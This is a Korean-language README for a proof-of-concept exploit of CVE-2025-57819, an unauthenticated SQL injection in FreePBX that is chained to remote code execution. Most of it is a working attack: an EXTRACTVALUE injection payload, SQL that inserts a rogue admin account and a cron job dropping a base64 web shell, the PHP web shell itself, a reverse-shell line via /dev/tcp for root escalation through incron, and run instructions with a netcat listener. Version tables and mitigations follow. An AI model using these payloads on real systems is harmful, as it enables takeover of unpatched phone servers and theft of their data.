
CVE-2025-57819에 대한 개념 증명 익스플로잇으로, FreePBX의 인증되지 않은 SQL 인젝션을 이용해 관리자 계정 생성, 웹셸 배포, 루트 권한 상승을 연쇄하여 RCE에 도달합니다.
교육 및 보안 연구 전용 - 아래 법적 고지를 참조하십시오
FreePBX의 치명적인 인증되지 않은 SQL 인젝션 취약점인 CVE-2025-57819에 대한 익스플로잇 개념 증명으로, 원격 코드 실행이 가능합니다. 이 PoC는 보안 연구 및 승인된 테스트 목적으로만 공식 패치가 릴리스된 후 공개되었습니다.
FreePBX 버전 15.x, 16.x, 17.x(패치된 버전 미만)는 endpoint 모듈의 AJAX 핸들러에서 인증되지 않은 SQL 인젝션에 취약합니다. 이 취약점 체인은 다음을 가능하게 합니다:
| CVE ID | CVE-2025-57819 |
| 유형 | 인증되지 않은 SQL 인젝션 (오류 기반) |
| CVSS | 9.8 / 10.0 (치명적) |
| 영향받는 버전 | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 패치된 버전 | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | 예 (2025년 8월 29일) |
GET /admin/ajax.php?brand=<PAYLOAD>
endpoint 모듈의 AJAX 핸들러에 있는 brand 파라미터는 검증 없이 사용자 입력을 받아들여 오류 기반 SQL 인젝션으로 이어집니다.
EXTRACTVALUE() 오류 기반 추출을 사용하여 SQLi를 확인하고 데이터베이스 이름을 유출합니다:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusers에 새 관리자 사용자를 삽입합니다:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
유효한 관리자 자격 증명을 사용하여 익스플로잇은 FreePBX에 인증하고 인증된 세션을 설정합니다. 세션 쿠키는 저장되어 이후 모든 인증된 요청에 사용됩니다.
asterisk.cron_jobs에 웹셸 명령을 주입합니다:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX cron 실행기는 asterisk 사용자로 명령을 실행하여 PHP 웹셸을 배포합니다.
PHP 웹셸은 /var/www/html/shell.php에 배포됩니다:
<?php system($_GET['cmd']); ?>
익스플로잇은 웹셸이 활성화될 때까지 폴링하여 asterisk 사용자(uid=999)로 RCE를 달성합니다.
대상에 incron이 구성되어 있는 경우:
/var/spool/asterisk/incron/에 트리거 파일 생성incrond(root로 실행 중)가 파일 생성을 감지/usr/bin/sysadmin_manager 호출sysadmin_manager가 GPG 서명을 검증하고 fwconsole-commands 훅으로 디스패치/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1결과: 리버스 리스너에 root 셸 (incron 사용 가능한 경우).
brand 파라미터에 대한 입력 검증 부재asterisk.cron_jobs 테이블이 asterisk로 명령 실행git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Status |
|---|---|
| 15.0.0 - 15.0.65 | Vulnerable |
| 15.0.66+ | Patched |
| 16.0.0 - 16.0.88 | Vulnerable |
| 16.0.89+ | Patched |
| 17.0.0 - 17.0.2 | Vulnerable |
| 17.0.3+ | Patched |
즉시:
/admin/ajax.php 접근 제한systemctl disable incrond영구적: 패치된 버전으로 업그레이드: 15.0.66+, 16.0.89+, 또는 17.0.3+
⚠️ 면책 조항
이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 작성자는 이 도구의 오용이나 손상에 대해 어떠한 책임도 지지 않습니다.
다음을 준수해야 합니다:
금지된 사용:
책임 면제: 작성자는 다음에 대해 책임지지 않습니다:
이 취약점은:
JazzTheRabbit
MIT License